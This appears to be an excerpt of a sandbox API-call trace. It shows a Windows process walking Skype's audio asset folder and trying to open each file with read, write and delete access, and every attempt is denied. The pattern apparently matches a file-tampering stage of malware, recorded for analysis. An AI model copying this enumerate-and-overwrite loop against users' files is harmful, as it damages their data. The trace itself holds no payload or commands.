	[0091.251] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fd5c51, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7ffbeaa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7ffbeaa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="incoming_contacts.wav", cAlternateFileName="")) returned 1
	[0091.251] wcscmp (_String1="incoming_contacts.wav", _String2=".") returned 1
	[0091.251] wcscmp (_String1="incoming_contacts.wav", _String2="..") returned 1
	[0091.251] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4776c60
	[0091.251] wcscpy (in: _Dest=0x4776c60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.251] wcscat (in: _Dest=0x4776c60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.252] wcscat (in: _Dest=0x4776c60, _Source="incoming_contacts.wav" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_contacts.wav") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_contacts.wav"
	[0091.252] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_contacts.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\incoming_contacts.wav")) returned 0x20
	[0091.255] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_contacts.wav", dwFileAttributes=0x20) returned 0
	[0091.255] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_contacts.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\incoming_contacts.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.255] GetLastError () returned 0x5
	[0091.255] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_contacts.wav", dwFileAttributes=0x20) returned 0
	[0091.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776c60) returned 1
	[0091.256] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffbeaa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8022104, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8022104, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xfde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="incoming_file.wav", cAlternateFileName="")) returned 1
	[0091.256] wcscmp (_String1="incoming_file.wav", _String2=".") returned 1
	[0091.256] wcscmp (_String1="incoming_file.wav", _String2="..") returned 1
	[0091.256] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491b170
	[0091.256] wcscpy (in: _Dest=0x491b170, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.256] wcscat (in: _Dest=0x491b170, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.256] wcscat (in: _Dest=0x491b170, _Source="incoming_file.wav" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_file.wav") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_file.wav"
	[0091.256] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_file.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\incoming_file.wav")) returned 0x20
	[0091.260] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_file.wav", dwFileAttributes=0x20) returned 0
	[0091.260] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_file.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\incoming_file.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.260] GetLastError () returned 0x5
	[0091.260] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_file.wav", dwFileAttributes=0x20) returned 0
	[0091.260] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b170) returned 1
	[0091.260] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8022104, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8048362, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8048362, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="incoming_im.wav", cAlternateFileName="")) returned 1
	[0091.260] wcscmp (_String1="incoming_im.wav", _String2=".") returned 1
	[0091.260] wcscmp (_String1="incoming_im.wav", _String2="..") returned 1
	[0091.260] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491eca8
	[0091.260] wcscpy (in: _Dest=0x491eca8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.260] wcscat (in: _Dest=0x491eca8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.260] wcscat (in: _Dest=0x491eca8, _Source="incoming_im.wav" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_im.wav") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_im.wav"
	[0091.260] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_im.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\incoming_im.wav")) returned 0x20
	[0091.260] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_im.wav", dwFileAttributes=0x20) returned 0
	[0091.260] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_im.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\incoming_im.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.261] GetLastError () returned 0x5
	[0091.261] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_im.wav", dwFileAttributes=0x20) returned 0
	[0091.261] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491eca8) returned 1
	[0091.261] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8048362, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8048362, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8048362, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="incoming_voicemail.wav", cAlternateFileName="")) returned 1
	[0091.261] wcscmp (_String1="incoming_voicemail.wav", _String2=".") returned 1
	[0091.261] wcscmp (_String1="incoming_voicemail.wav", _String2="..") returned 1
	[0091.261] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4776760
	[0091.261] wcscpy (in: _Dest=0x4776760, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.261] wcscat (in: _Dest=0x4776760, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.261] wcscat (in: _Dest=0x4776760, _Source="incoming_voicemail.wav" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_voicemail.wav") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_voicemail.wav"
	[0091.261] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_voicemail.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\incoming_voicemail.wav")) returned 0x20
	[0091.261] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_voicemail.wav", dwFileAttributes=0x20) returned 0
	[0091.261] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_voicemail.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\incoming_voicemail.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.261] GetLastError () returned 0x5
	[0091.261] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\incoming_voicemail.wav", dwFileAttributes=0x20) returned 0
	[0091.261] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776760) returned 1
	[0091.261] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x806e5bb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8094814, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8094814, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2dc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype_Call_Answer.m4a", cAlternateFileName="")) returned 1
	[0091.262] wcscmp (_String1="Skype_Call_Answer.m4a", _String2=".") returned 1
	[0091.262] wcscmp (_String1="Skype_Call_Answer.m4a", _String2="..") returned 1
	[0091.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4778160
	[0091.262] wcscpy (in: _Dest=0x4778160, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.262] wcscat (in: _Dest=0x4778160, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.262] wcscat (in: _Dest=0x4778160, _Source="Skype_Call_Answer.m4a" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Answer.m4a") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Answer.m4a"
	[0091.262] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Answer.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_answer.m4a")) returned 0x20
	[0091.266] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Answer.m4a", dwFileAttributes=0x20) returned 0
	[0091.266] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Answer.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_answer.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.266] GetLastError () returned 0x5
	[0091.266] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Answer.m4a", dwFileAttributes=0x20) returned 0
	[0091.266] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778160) returned 1
	[0091.266] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80baa72, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x80e0ccb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x80e0ccb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype_Call_Calling.m4a", cAlternateFileName="")) returned 1
	[0091.266] wcscmp (_String1="Skype_Call_Calling.m4a", _String2=".") returned 1
	[0091.266] wcscmp (_String1="Skype_Call_Calling.m4a", _String2="..") returned 1
	[0091.266] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778160
	[0091.267] wcscpy (in: _Dest=0x4778160, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.267] wcscat (in: _Dest=0x4778160, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.267] wcscat (in: _Dest=0x4778160, _Source="Skype_Call_Calling.m4a" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Calling.m4a") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Calling.m4a"
	[0091.267] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Calling.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_calling.m4a")) returned 0x20
	[0091.267] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Calling.m4a", dwFileAttributes=0x20) returned 0
	[0091.267] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Calling.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_calling.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.267] GetLastError () returned 0x5
	[0091.267] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Calling.m4a", dwFileAttributes=0x20) returned 0
	[0091.267] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778160) returned 1
	[0091.267] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e0ccb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x80e0ccb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x80e0ccb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa099, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype_Call_Connecting.m4a", cAlternateFileName="")) returned 1
	[0091.267] wcscmp (_String1="Skype_Call_Connecting.m4a", _String2=".") returned 1
	[0091.267] wcscmp (_String1="Skype_Call_Connecting.m4a", _String2="..") returned 1
	[0091.267] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5027cf0
	[0091.267] wcscpy (in: _Dest=0x5027cf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.267] wcscat (in: _Dest=0x5027cf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.267] wcscat (in: _Dest=0x5027cf0, _Source="Skype_Call_Connecting.m4a" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Connecting.m4a") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Connecting.m4a"
	[0091.267] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Connecting.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_connecting.m4a")) returned 0x20
	[0091.268] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Connecting.m4a", dwFileAttributes=0x20) returned 0
	[0091.268] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Connecting.m4a" (normalized: "c:\\program files\\windowsapps\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c\\skypeapp\\assets\\audio\\skype_call_connecting.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.268] GetLastError () returned 0x5
	[0091.268] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Connecting.m4a", dwFileAttributes=0x20) returned 0
	[0091.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5027cf0) returned 1
	[0091.268] FindNextFileW (in: hFindFile=0x477b568, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e0ccb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x81533dc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x81533dc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x34ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype_Call_Dialing.m4a", cAlternateFileName="")) returned 1
	[0091.268] wcscmp (_String1="Skype_Call_Dialing.m4a", _String2=".") returned 1
	[0091.268] wcscmp (_String1="Skype_Call_Dialing.m4a", _String2="..") returned 1
	[0091.268] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778160
	[0091.268] wcscpy (in: _Dest=0x4778160, _Source="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio"
	[0091.268] wcscat (in: _Dest=0x4778160, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\"
	[0091.268] wcscat (in: _Dest=0x4778160, _Source="Skype_Call_Dialing.m4a" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Dialing.m4a") returned="C:\\Program Files\\WindowsApps\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\\SkypeApp\\Assets\\Audio\\Skype_Call_Dialing.m4a"
